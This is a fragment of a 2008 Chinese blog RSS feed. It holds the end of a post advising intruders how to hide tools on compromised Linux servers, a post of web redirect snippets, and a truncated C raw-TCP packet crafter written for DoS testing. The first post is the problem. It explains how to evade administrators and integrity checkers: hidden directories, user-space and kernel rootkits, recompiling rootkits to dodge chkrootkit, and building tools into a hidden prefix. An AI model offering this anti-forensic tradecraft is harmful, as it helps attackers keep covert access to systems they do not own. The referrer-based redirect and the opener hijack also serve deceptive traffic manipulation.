/&gt;&lt;br /&gt;3.2工具与数据的长期存放&lt;br /&gt;目录的隐藏是个很高深的学问，在最开始的阶段，我们通常是在一个很深的目录里面建立名为”…” 或者” ”等的目录，然后把工具一股脑的放进去，这招在对付不负责任的管理员的时候很管用，但是遇到负责人的管理员一个find语句就能把你找出来：&lt;br /&gt;# find / -uid 0 –perm -4000 –print&lt;br /&gt;# find / -size +10000k –print&lt;br /&gt;# find / -name “...“ –print&lt;br /&gt;# find / -name “.. “ –print&lt;br /&gt;# find / -name “. “ –print&lt;br /&gt;# find / -name “ “ –print&lt;br /&gt;留setuid的程序也是个大的忌讳，这样很容易引起管理员的怀疑。特别是这个setuid程序存在莫名其妙的目录下的时候。&lt;br /&gt;在大多数情况下，我们可以借助 rootkit来帮助你完成这个功能。&lt;br /&gt;我简单的介绍下，像linux下的rootkit，总体来说可以分为两大类：应用层和内核态的rootkit。&lt;br /&gt;应用层的rootkit通常通过修改某些文件来实现信息隐藏，比如修改ls 让其不显示某个特殊名称文件夹，修改ifconfig让其不显示PROMISC位&lt;br /&gt;还有的是通过修改 so&lt;br /&gt;文件来留后门等等。如果管理员安装了tripwire之类的完整性校验工具各位道友就要小心了，不过一般的管理员也没那么负责。这些低级的rootkit很容易给chkrootkit之类的工具给揪出来，要真正用的话最好自己能下载源代码重新编译下，修改掉配置文件的默认位置，这样好点。&lt;br /&gt;内核级别的rootkit:顾名思义，进入ring0级别来HOOK掉某些系统调用或者其他什么乱起八糟的方法来改掉系统调用的执行输出（当然也ring3 patch ring0也有，像suckit）。这种东西很诡异，能够真正成功装上的几率不大，关键看人品，呵呵。进入了2.6时代，很多美好的rootkit都失去了光彩。加之2.6的模块编译要内核树的支持，更使得LKM方式的 rootkit举步维艰。据wzt讲，suckit也有2.6版本的，不过是private的要money。偶等穷人也只有干看到份了。&lt;br /&gt;2.6的rootkit安装可以看看包总的adore-ng教程 wnps也不错，不过wzt这BB也停止开发了&lt;br /&gt;。还有什么内核静态patch等方法，也只是在phrack里面看到过，各位道友用过的给我介绍下啊，呵呵。&lt;br /&gt;&lt;br /&gt;扯远了，关于如何隐藏文件，当然你也可以采用伪造坏扇区的方法，将你的东西放在那里，一般的文件系统算是看不出来了。你可以用特殊的工具对其进行存储。这个再以后的advance anti-forensic文章中会讲，不再多说。&lt;br /&gt;&lt;br /&gt;4.&lt;br /&gt;如何安装和编译工具&lt;br /&gt;可能linux与windows对于用户来说，最大的不同就是linux从网上下载的大多数都是src 源代码包，要使用的话需要在机器上现场编译，好不容易有编译好的发行包如rpm&lt;br /&gt;deb还是和系统相关的 依赖性啊，等等，烦都烦死人了。像要装个ettercap,什么ｌｉｂｎｅｔ libpcap都得装上，但有时候我们的目标机器上没有所需要的依赖文件，这怎么办呢？不推荐使用rpm&lt;br /&gt;dpkg 等方式来安装需要的文件，也不推荐apt yum源等方式安装，从源代码编译把，这样比较好点。&lt;br /&gt;我们把下载的源代码放到自己的隐藏目录里，在configure的时候需要指定prefix安装路径，总不能把这些包真正的装到系统里面把，指定成我们的隐藏目录就好，这样一来，管理员也不会发现怎么系统安装了许多原本没有支持的库文件或者头文件了。&lt;br /&gt;最后一步，当编译我们的工具时，需要指定所依赖的头文件目录和库文件目录，不要执行make install命令，这样一来，我们的工具就可以完全在我们的隐藏目录里面了。&lt;br /&gt;关于perl的模块安装，可以参看这边文章：&lt;br /&gt;&lt;a href=&quot;http://servers.digitaldaze.com/extensions/perl/modules.html&quot; title=&quot;http://servers.digitaldaze.com/extensions/perl/modules.html&quot; target=&quot;_blank&quot;&gt;http://servers.digitaldaze.com/extensions/perl/modules.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;先写这么多吧，呵呵，有想到的再加上。后头还会写篇Advance anti-forensic的文章。可能有的道友会说我太小心。小心好啊，小心使得万年船，不是么？呵呵&lt;br /&gt;&lt;!-- Feedsky ad --&gt;&lt;a href=&quot;http://feed.feedsky.com/~cpm/c/woidiy/c9d5061f92f95e33c835148fe600d4f2&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~cpm/woidiy/c9d5061f92f95e33c835148fe600d4f2/s.gif&quot; border=&quot;0&quot; style=&quot;margin-top:5px;&quot; /&gt;&lt;/a&gt;&lt;!-- /Feedsky ad --&gt;&lt;br /&gt;&lt;!-- Feedsky flare --&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=5dcd727ad989beb3c37d8182ae5f8271&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=5dcd727ad989beb3c37d8182ae5f8271&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=9a259bfa02808e40312b481497d58c84&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=9a259bfa02808e40312b481497d58c84&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=a593b88addc9d1065b5a6795bd3cd333&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=a593b88addc9d1065b5a6795bd3cd333&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=78aacf377b1332ae5e0ac0c49c3fef1e&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=78aacf377b1332ae5e0ac0c49c3fef1e&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=3986a9a644f814e64855b8a4eca2d134&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=3986a9a644f814e64855b8a4eca2d134&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=918ad26d7075db9d0139672405a7a733&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=918ad26d7075db9d0139672405a7a733&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=09e56c8d3d15664b17f1a2bd8c516afe&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=09e56c8d3d15664b17f1a2bd8c516afe&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;!-- /Feedsky flare --&gt;</description><category>黑客发表</category><pubDate>Fri, 09 May 2008 14:31:56 +0800</pubDate><author>nt_family &lt;nt_family&gt;</author><guid isPermaLink="false">http://www.woidiy.com/blog/article.asp?id=498</guid><dc:creator>nt_family &lt;nt_family&gt;</dc:creator><fs:srclink>http://www.woidiy.com/blog/article.asp?id=498</fs:srclink><fs:srcfeed>http://www.woidiy.com/blog/feed.asp</fs:srcfeed><fs:itemid>feedsky/woidiy/~5937607/72624301/4066013</fs:itemid></item><item><title>四种网页跳转代码</title><link>http://item.feedsky.com/~feedsky/woidiy/~5937607/72526904/4066013/1/item.html</link><wfw:commentRss>http://www.woidiy.com/blog/feed.asp?q=comment&amp;id=497</wfw:commentRss><description>如果你要在服务器端跳转，可以这样：&lt;br /&gt;&lt;br /&gt;Response.Redirect(&lt;a href=&quot;http://www.woidiy.com/blog/&quot; title=&quot;http://www.woidiy.com/blog/&quot; target=&quot;_blank&quot;&gt;http://www.woidiy.com/blog/&lt;/a&gt;)&lt;br /&gt;Response.End&lt;br /&gt;&lt;br /&gt;如果你要在客户端跳转，可以这样：&lt;br /&gt;&lt;br /&gt;&amp;lt;script language=&amp;quot;javascript&amp;quot; type=&amp;quot;text/javascript&amp;quot;&amp;gt;&lt;br /&gt;window.location=&amp;quot;&lt;a href=&quot;http://www.woidiy.com/blog/&quot; title=&quot;http://www.woidiy.com/blog/&quot; target=&quot;_blank&quot;&gt;http://www.woidiy.com/blog/&lt;/a&gt;&amp;quot;;;&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;br /&gt;如果你要让页面显示几秒钟之后跳转，可以在html代码的&amp;lt;head&amp;gt;&amp;lt;/head&amp;gt;部分加上这样的代码：&lt;br /&gt;&lt;br /&gt;&amp;lt;meta http-equiv=&amp;quot;refresh&amp;quot; content=&amp;quot;3; url=http://www.woidiy.com/blog/&amp;quot;&amp;gt;&lt;br /&gt;（3秒钟后自动跳转到www.517z.com）&lt;br /&gt;&lt;br /&gt;这种用来做广告很有效果。。&lt;br /&gt;&amp;lt;SCRIPT&amp;gt;if(parent.window.opener) parent.window.opener.location=&amp;#39;&lt;a href=&quot;http://www.woidiy.com/blog/&amp;amp;#39;;&quot; title=&quot;http://www.woidiy.com/blog/&amp;amp;#39;;&quot; target=&quot;_blank&quot;&gt;http://www.woidiy.com/blog/&amp;amp;#39;;&lt;/a&gt; &amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;&amp;lt;script&amp;gt;&lt;br /&gt;var s=document.referrer&lt;br /&gt;if(s.indexOf(&amp;quot;baidu&amp;quot;)&amp;gt;0)self.location=&amp;quot;&lt;a href=&quot;http://www.woidiy.com/blog/&quot; title=&quot;http://www.woidiy.com/blog/&quot; target=&quot;_blank&quot;&gt;http://www.woidiy.com/blog/&lt;/a&gt;&amp;quot;;&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;!-- Feedsky ad --&gt;&lt;a href=&quot;http://feed.feedsky.com/~cpm/c/woidiy/485381f1212f74b92790bfce8f0ac4ba&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~cpm/woidiy/485381f1212f74b92790bfce8f0ac4ba/s.gif&quot; border=&quot;0&quot; style=&quot;margin-top:5px;&quot; /&gt;&lt;/a&gt;&lt;!-- /Feedsky ad --&gt;&lt;br /&gt;&lt;!-- Feedsky flare --&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=5abd7c1c8bb999d6f4a4f2f03544c817&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=5abd7c1c8bb999d6f4a4f2f03544c817&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=30078d44d983b0cd8c38ebfacdf9a407&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=30078d44d983b0cd8c38ebfacdf9a407&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=c83ba907645e476e50e88380b62899f2&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=c83ba907645e476e50e88380b62899f2&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=12bee994e4d40d31473db926cca1c384&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=12bee994e4d40d31473db926cca1c384&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=5eddbef43012397fe54e9e7eb86a00ee&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=5eddbef43012397fe54e9e7eb86a00ee&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=60e92d7594bc19d08f45fc3e26703572&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=60e92d7594bc19d08f45fc3e26703572&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=243b8eddb685af3daab182c6a2c6f0ea&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=243b8eddb685af3daab182c6a2c6f0ea&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;!-- /Feedsky flare --&gt;</description><category>网海拾贝</category><pubDate>Fri, 09 May 2008 09:16:36 +0800</pubDate><author>nt_family &lt;nt_family&gt;</author><guid isPermaLink="false">http://www.woidiy.com/blog/article.asp?id=497</guid><dc:creator>nt_family &lt;nt_family&gt;</dc:creator><fs:srclink>http://www.woidiy.com/blog/article.asp?id=497</fs:srclink><fs:srcfeed>http://www.woidiy.com/blog/feed.asp</fs:srcfeed><fs:itemid>feedsky/woidiy/~5937607/72526904/4066013</fs:itemid></item><item><title>使用winpcap定制TCP包发送</title><link>http://item.feedsky.com/~feedsky/woidiy/~5937607/72278904/4066013/1/item.html</link><wfw:commentRss>http://www.woidiy.com/blog/feed.asp?q=comment&amp;id=496</wfw:commentRss><description>by 云舒&lt;br /&gt;&lt;br /&gt;前些时候做DOS方面的测试，由于协议学得不够好，有些回应不记得，所以就首先想到用hping来定制一些包，看看远程主机的回应。结果下载的hping 死活都不发包，换了多个不同版本的winpcap都不行。一怒之下，决定自己写个简单的。首先想到的是perl来做，最后觉得一样要安装 winpcap还有很多别的模块，不如直接c来实现一下，来得更痛快。&lt;br /&gt;&lt;br /&gt;需要说明一下的是，在以太网头那里我故意偷懒了，没有获取本机的MAC地址而是写了个错误的。所以给内网用户发包的话，能发出去，只是你收不到回应了，发给外网就没这个问题，这是因为同交换机下面靠MAC地址来定位的。&lt;br /&gt;&lt;br /&gt;最后一点，这里所有的包，目的MAC地址都是写的MAC，通过网关把数据转发出去的。虽然同交换机下面可以直接通过MAC定位，但是我懒得判断，直接发送给网关再转发会比较简单。&lt;div class=&quot;code&quot;&gt;/* Code By yunshu, 2008-05-08, Make tcp packet to send to remote server&lt;br /&gt;* I don&amp;#39;t know which version of winpcap needed by hping, so I wrote this code.&lt;br /&gt;* Under winpcap 4.0.2, Dev-CPP 4.9.9.2, windows xp professional sp2&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;string.h&amp;gt;&lt;br /&gt;#include &amp;lt;winsock2.h&amp;gt;&lt;br /&gt;#include &amp;lt;iphlpapi.h&amp;gt;&lt;br /&gt;#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;#include &amp;lt;pcap.h&amp;gt;&lt;br /&gt;#include &amp;lt;remote-ext.h&amp;gt;&lt;br /&gt;&lt;br /&gt;#define IP_PROTO 0x0800&lt;br /&gt;&lt;br /&gt;char LocalIP[20] = { 0 };&lt;br /&gt;char InterfaceName[256] = { 0 };&lt;br /&gt;char GatewayIP[20] = { 0 };&lt;br /&gt;BYTE GatewayMac[6];&lt;br /&gt;&lt;br /&gt;typedef struct et_header&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;unsigned char eh_dst[6];&lt;br /&gt;&amp;nbsp;unsigned char eh_src[6];&lt;br /&gt;&amp;nbsp;unsigned short eh_type;&lt;br /&gt;}ET_HEADER;&lt;br /&gt;&lt;br /&gt;typedef struct ip_hdr&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;unsigned char h_verlen;&lt;br /&gt;&amp;nbsp;unsigned char tos;&lt;br /&gt;&amp;nbsp;unsigned short total_len;&lt;br /&gt;&amp;nbsp;unsigned short ident;&lt;br /&gt;&amp;nbsp;unsigned short frag_and_flags;&lt;br /&gt;&amp;nbsp;unsigned char ttl;&lt;br /&gt;&amp;nbsp;unsigned char proto;&lt;br /&gt;&amp;nbsp;unsigned short checksum;&lt;br /&gt;&amp;nbsp;unsigned int sourceIP;&lt;br /&gt;&amp;nbsp;unsigned int destIP;&lt;br /&gt;}IP_HEADER;&lt;br /&gt;&lt;br /&gt;typedef struct tcp_hdr&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;unsigned short th_sport;&lt;br /&gt;&amp;nbsp;unsigned short th_dport;&lt;br /&gt;&amp;nbsp;unsigned int th_seq;&lt;br /&gt;&amp;nbsp;unsigned int th_ack;&lt;br /&gt;&amp;nbsp;unsigned char th_lenres;&lt;br /&gt;&amp;nbsp;unsigned char th_flag;&lt;br /&gt;&amp;nbsp;unsigned short th_win;&lt;br /&gt;&amp;nbsp;unsigned short th_sum;&lt;br /&gt;&amp;nbsp;unsigned short th_urp;&lt;br /&gt;}TCP_HEADER;&lt;br /&gt;&lt;br /&gt;typedef struct tsd_hdr&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;unsigned long saddr;&lt;br /&gt;&amp;nbsp;unsigned long daddr;&lt;br /&gt;&amp;nbsp;char mbz;&lt;br /&gt;&amp;nbsp;char ptcl;&lt;br /&gt;&amp;nbsp;unsigned short tcpl;&lt;br /&gt;}PSD_HEADER;&lt;br /&gt;&lt;br /&gt;unsigned short CheckSum(unsigned short * buffer, int size)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;unsigned long cksum = 0;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;while (size &amp;gt; 1)&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;cksum += *buffer++;&lt;br /&gt;&amp;nbsp;size -= sizeof(unsigned short);&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;if (size)&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;cksum += *(unsigned char *) buffer;&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;cksum = (cksum &amp;gt;&amp;gt; 16) + (cksum &amp;amp; 0xffff);&lt;br /&gt;&amp;nbsp;cksum += (cksum &amp;gt;&amp;gt; 16);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;return (unsigned short) (~cksum);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;void GetLocalIP( )&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;WORD wVersionRequested;&lt;br /&gt;&amp;nbsp;WSADATA wsaData;&lt;br /&gt;&amp;nbsp;char name[255];&lt;br /&gt;&amp;nbsp;PHOSTENT hostinfo;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;wVersionRequested = MAKEWORD( 2, 0 );&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;if( WSAStartup( wVersionRequested, &amp;amp;wsaData ) == 0 )&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;if( gethostname( name, sizeof(name) ) == 0 )&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;if( (hostinfo = gethostbyname(name) ) != NULL )&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;strcpy( LocalIP, inet_ntoa( *(struct in_addr*)*hostinfo-&amp;gt;h_addr_list ) );&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;WSACleanup( );&lt;br /&gt;}&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;int GetDevices( )&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;pcap_if_t *alldevs;&lt;br /&gt;&amp;nbsp;pcap_if_t *d;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;int i = 0;&lt;br /&gt;&amp;nbsp;char errbuf[PCAP_ERRBUF_SIZE];&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;/* 获取本地机器设备列表 */&lt;br /&gt;&amp;nbsp;if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL /* auth is not needed */, &amp;amp;alldevs, errbuf) == -1)&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;fprintf(stderr,&amp;quot;Error in pcap_findalldevs_ex: %s\n&amp;quot;, errbuf);&lt;br /&gt;&amp;nbsp;exit(1);&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;/* 打印列表 */&lt;br /&gt;&amp;nbsp;for( d = alldevs; d != NULL; d = d-&amp;gt;next )&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;printf(&amp;quot;%d. %s&amp;quot;, ++i, d-&amp;gt;name);&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;if (d-&amp;gt;description)&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;printf( &amp;quot; (%s)&amp;quot;, d-&amp;gt;description );&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;if( d-&amp;gt;addresses != NULL )&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;if( d-&amp;gt;addresses-&amp;gt;addr-&amp;gt;sa_family == AF_INET )&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;printf( &amp;quot;: %s\n&amp;quot;, inet_ntoa( ((struct sockaddr_in *)d-&amp;gt;addresses-&amp;gt;addr)-&amp;gt;sin_addr ) );&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;else&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;printf( &amp;quot;\n&amp;quot; );&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;else&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;printf(&amp;quot; (No description available)\n&amp;quot;);&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;if (i == 0)&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;printf(&amp;quot;\nNo interfaces found! Make sure WinPcap is installed.\n&amp;quot;);&lt;br /&gt;&amp;nbsp;return -1;&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;printf( &amp;quot;\nPlease choose the index of your NetAdapter：&amp;quot; );&lt;br /&gt;&amp;nbsp;int AdapterIndex = 1;&lt;br /&gt;&amp;nbsp;scanf( &amp;quot;%d&amp;quot;, &amp;amp;AdapterIndex );&lt;br /&gt;&amp;nbsp;if( AdapterIndex &amp;gt; i )&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;printf( &amp;quot;网卡选错啦\n&amp;quot; );&lt;br /&gt;&amp;nbsp;return -1;&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;d = alldevs;&lt;br /&gt;&amp;nbsp;for( int index = 1; index &amp;lt; AdapterIndex; index ++ )&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;d = d-&amp;gt;next;&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;if( d-&amp;gt;name == NULL || d-&amp;gt;addresses == NULL )&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;printf( &amp;quot;网卡选错啦\n&amp;quot; );&lt;br /&gt;&amp;nbsp;return -1;&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;strcpy( InterfaceName, d-&amp;gt;name );&lt;br /&gt;&amp;nbsp;strcpy( LocalIP, inet_ntoa( ((struct sockaddr_in *)d-&amp;gt;addresses-&amp;gt;addr)-&amp;gt;sin_addr ) );&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;/* 不再需要设备列表了，释放它 */&lt;br /&gt;&amp;nbsp;pcap_freealldevs(alldevs);&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;return 1;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int GetGateWayMac( )&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;PIP_ADAPTER_INFO AdapterInfo;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;ULONG OutBufLen = sizeof(IP_ADAPTER_INFO);&lt;br /&gt;&amp;nbsp;AdapterInfo = (IP_ADAPTER_INFO *)malloc(sizeof (IP_ADAPTER_INFO));&lt;br /&gt;&amp;nbsp;if( AdapterInfo == NULL )&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;printf(&amp;quot;Error allocating memory needed to call GetAdaptersinfo\n&amp;quot;);&lt;br /&gt;&amp;nbsp;return -1;&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;if( GetAdaptersInfo( AdapterInfo, &amp;amp;OutBufLen ) == ERROR_BUFFER_OVERFLOW )&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;free( AdapterInfo );&lt;br /&gt;&amp;nbsp;AdapterInfo = (IP_ADAPTER_INFO *)malloc( OutBufLen );&lt;br /&gt;&amp;nbsp;if( AdapterInfo == NULL )&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;printf(&amp;quot;Error allocating memory needed to call GetAdaptersinfo\n&amp;quot;);&lt;br /&gt;&amp;nbsp;return -1;&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;if( GetAdaptersInfo( AdapterInfo, &amp;amp;OutBufLen ) == NO_ERROR )&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;PIP_ADAPTER_INFO a = AdapterInfo;&lt;br /&gt;&amp;nbsp;BOOL Found = FALSE;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;while( a )&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;if( strcmp(a-&amp;gt;IpAddressList.IpAddress.String, LocalIP) == 0 )&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;strcpy( GatewayIP, a-&amp;gt;GatewayList.IpAddress.String );&lt;br /&gt;&amp;nbsp;Found = TRUE;&lt;br /&gt;&amp;nbsp;break;&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;a = a-&amp;gt;Next;&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;if( !Found )&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;printf( &amp;quot;Get gateway&amp;#39;s ip error.\n&amp;quot; );&lt;br /&gt;&amp;nbsp;free( AdapterInfo );&lt;br /&gt;&amp;nbsp;return -1;&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;else&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;free( AdapterInfo );&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;else&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;printf( &amp;quot;Get gateway&amp;#39;s ip error.\n&amp;quot; );&lt;br /&gt;&amp;nbsp;free( AdapterInfo );&lt;br /&gt;&amp;nbsp;return -1;&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;BYTE Mac[6];&lt;br /&gt;&amp;nbsp;ULONG MacLen = 6;&lt;br /&gt;&amp;nbsp;SendARP( inet_addr(GatewayIP), 0, (PULONG)&amp;amp;Mac, &amp;amp;MacLen );&lt;br /&gt;&amp;nbsp;memcpy( GatewayMac, Mac, MacLen );&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;/*&lt;br /&gt;&amp;nbsp;for( int index = 0; index &amp;lt; MacLen; index ++ )&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;printf( &amp;quot;%d: %02x\n&amp;quot;, index, Mac[index] );&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;printf( &amp;quot;\n%d\n&amp;quot;, MacLen );&lt;br /&gt;&amp;nbsp;*/&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void Usage( char *me )&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;printf( &amp;quot;Make tcp package 0.1, code by yunshu\n&amp;quot; );&lt;br /&gt;&amp;nbsp;printf( &amp;quot;%s: targetip targetport [flag]\n&amp;quot;, me );&lt;br /&gt;&amp;nbsp;printf( &amp;quot;flag: \n&amp;quot; );&lt;br /&gt;&amp;nbsp;printf( &amp;quot; u|U set urg flag.\n&amp;quot; );&lt;br /&gt;&amp;nbsp;printf( &amp;quot; a|A set ack flag.\n&amp;quot; );&lt;br /&gt;&amp;nbsp;printf( &amp;quot; p|P set push flag.\n&amp;quot; );&lt;br /&gt;&amp;nbsp;printf( &amp;quot; r|R set rst flag.\n&amp;quot; );&lt;br /&gt;&amp;nbsp;printf( &amp;quot; s|S set syn flag.\n&amp;quot; );&lt;br /&gt;&amp;nbsp;printf( &amp;quot; f|F set fin flag.\n&amp;quot; );&lt;br /&gt;&amp;nbsp;printf( &amp;quot; default is syn flag, and you can use sa to set syn+ack, and more...\n&amp;quot; );&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int main( int argc, char *argv[] )&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;ET_HEADER EtHeader;&lt;br /&gt;&amp;nbsp;IP_HEADER IpHeader;&lt;br /&gt;&amp;nbsp;TCP_HEADER TcpHeader;&lt;br /&gt;&amp;nbsp;PSD_HEADER PsdHeader;&lt;br /&gt;&amp;nbsp;u_char Buffer[sizeof(ET_HEADER) + sizeof(IP_HEADER) + sizeof(TCP_HEADER)] = { 0 };&lt;br /&gt;&amp;nbsp;&lt;br 